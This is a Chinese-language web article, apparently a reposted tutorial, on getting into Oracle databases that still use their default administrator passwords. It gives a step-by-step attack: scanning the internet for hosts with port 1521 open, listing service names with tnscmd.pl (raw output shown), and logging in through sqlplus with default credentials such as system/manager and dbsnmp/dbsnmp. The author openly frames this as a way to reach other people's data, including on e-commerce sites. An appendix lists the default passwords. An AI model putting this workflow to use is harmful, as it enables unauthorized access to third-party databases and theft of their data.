Oracle默認管理員密碼是固定的，這是為了安裝和調(diào)試的方便。Oracle數(shù)據(jù)庫中的兩個具有DBA權(quán)限的用戶Sys和System。筆者發(fā)現(xiàn)很多國內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫沒有更改這兩個用戶的密碼，其中也包括很多大型的電子商務網(wǎng)站，我們就可以利用這個缺省密碼去找我們感興趣的東西。

進行測試前我們先來了解一些相關(guān)的知識，我們連接一個Oracle數(shù)據(jù)庫的時候，需要知道它的service_name或者是Sid值，就象mssql一樣，需要知道數(shù)據(jù)庫名。那如何去知道呢，猜?呵呵，顯然是不行的。這里我們先講講oracle的TNSlistener，它位于數(shù)據(jù)庫Client和數(shù)據(jù)庫Server之間，默認監(jiān)聽1521端口，這個監(jiān)聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話，oracle將不會返回它的banner，如果你輸入一些東西的話，它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個perl程序了，它可以查詢遠程 oracle數(shù)據(jù)庫是否開啟(也就是ping了)，查詢版本，以及查詢它的服務名，服務狀態(tài)和數(shù)據(jù)庫服務名，而且正確率很高。

理論方面的講完了，如果還有什么不懂的可以去查找相關(guān)資料?，F(xiàn)在開始測試吧，需要的工具有：ActivePerl，Oracle客戶端，Superscan或者是其它掃描端口的軟件，Tnscmd.pl.我們先用Superscan掃描開放了端口1521的主機，假設(shè)其IP是xx.xx.110.110，這樣目標已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來查詢遠程數(shù)據(jù)庫的服務名了，Tnscmd.pl的用法如下：

 
 
 
  
  
  
C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  
  
  
usage: tnscmd.pl [command] -h hostname   
  
  
  
where "command" is something like ping, version, status,etc.   
  
  
  
(default is ping)   
  
  
  
[-p port] - alternate TCP port to use (default is 1521)   
  
  
  
[--logfile logfile] - write raw packets to specifiedlogfile   
  
  
  
[--indent] - indent & outdent on parens   
  
  
  
[--rawcmd command] - build your own CONNECT_DATA string   
  
  
  
[--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  
  
  
 
 
 

我們下面用的只有簡單的幾個命令，其他的命令也很好用，一起去發(fā)掘吧。

然后我們就這樣來：

 
 
 
  
  
  
C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  
  
  
sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  
  
  
writing 91 bytes   
  
  
  
reading   
  
  
  
._.......6.........?. ..........   
  
  
  
DETION=   
  
  
  
TMP=   
  
  
  
VSNNUM=135286784   
  
  
  
ERR=0   
  
  
  
SERVICES_EXIST=1   
  
  
  
.Q........   
  
  
  
SERVICE=   
  
  
  
SERVICE_NAME=ORCL   
  
  
  
INSTANCE=   
  
  
  
INSTANCE_NAME=ORCL   
  
  
  
NUM=1   
  
  
  
INSTANCE_CLASS=ORACLE   
  
  
  
HANDLER=   
  
  
  
HANDLER_DISPLAY=DEDICATED SERVER   
  
  
  
STA=ready   
  
  
  
HANDLER_INFO=LOCAL SERVER   
  
  
  
HANDLER_MAXLOAD=0   
  
  
  
HANDLER_LOAD=0   
  
  
  
ESTABLISHED=447278   
  
  
  
REFUSED=0   
  
  
  
HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  
  
  
HANDLER_NAME=DEDICATED   
  
  
  
ADDRESS=   
  
  
  
PROTOCOL=beq   
  
  
  
PROGRAM=/home/oracle/bin/oracle   
  
  
  
ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  
  
  
ARGV0=oracleORCL   
  
  
  
ARGS="   
  
  
  
LOCAL=NO   
  
  
  
"   
  
  
  
.........@   
  
  
  
 
 
 

從上面得到的信息我們可以看出數(shù)據(jù)庫的服務名為ORCL，然后我們就可以通過sqlplus工具來遠程連上它了，用戶名和密碼我們用默認的 system/manager或者是sys/manager（Oracle默認管理員），其他的如mdsys/mdsys，ctxsys/ctxsys等，這個默認用戶和密碼是隨版本的不同而改變的。如下：

 
 
 
  
  
  
C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  
  
  
SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  
  
  
(c) Copycenter 2001 Oracle Corporation.　All centersreserved.   
  
  
  
SQL@@@@dayu@@@@connect system/manager@   
  
  
  
(detion=(address_list=(address=(protocol=tcp)   
  
  
  
(host=xx.xx.110.110)(port=1521)))   
  
  
  
(connect_data=(SERVICE_NAME=ORCL)));   
  
  
  
 
 
 

如果密碼正確，那么就會提示connected，如果不行,再換別的默認用戶名和密碼。經(jīng)過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經(jīng)把默認密碼改了，那我們只能換別的目標了。但是我發(fā)現(xiàn)很多都是不改的，這個就是安全意識的問題了。

附錄 Oracle默認管理員密碼

1.
用戶名:sys
密碼:change_on_install

2.
用戶名:system
密碼:manager

3.
用戶名:scott
密碼:tiger

【編輯推薦】

1. 詳解Oracle如何解鎖用戶的方法
2. 五分鐘精通Oracle表空間
3. 五種Oracle用戶的授權(quán)與管理
4. Oracle管理員手冊：數(shù)據(jù)庫管理工具
5. Oracle用戶名更改操作四步走

分享名稱：Oracle默認管理員帶來的數(shù)據(jù)庫安全隱患
標題網(wǎng)址：http://uogjgqi.cn/article/copiedp.html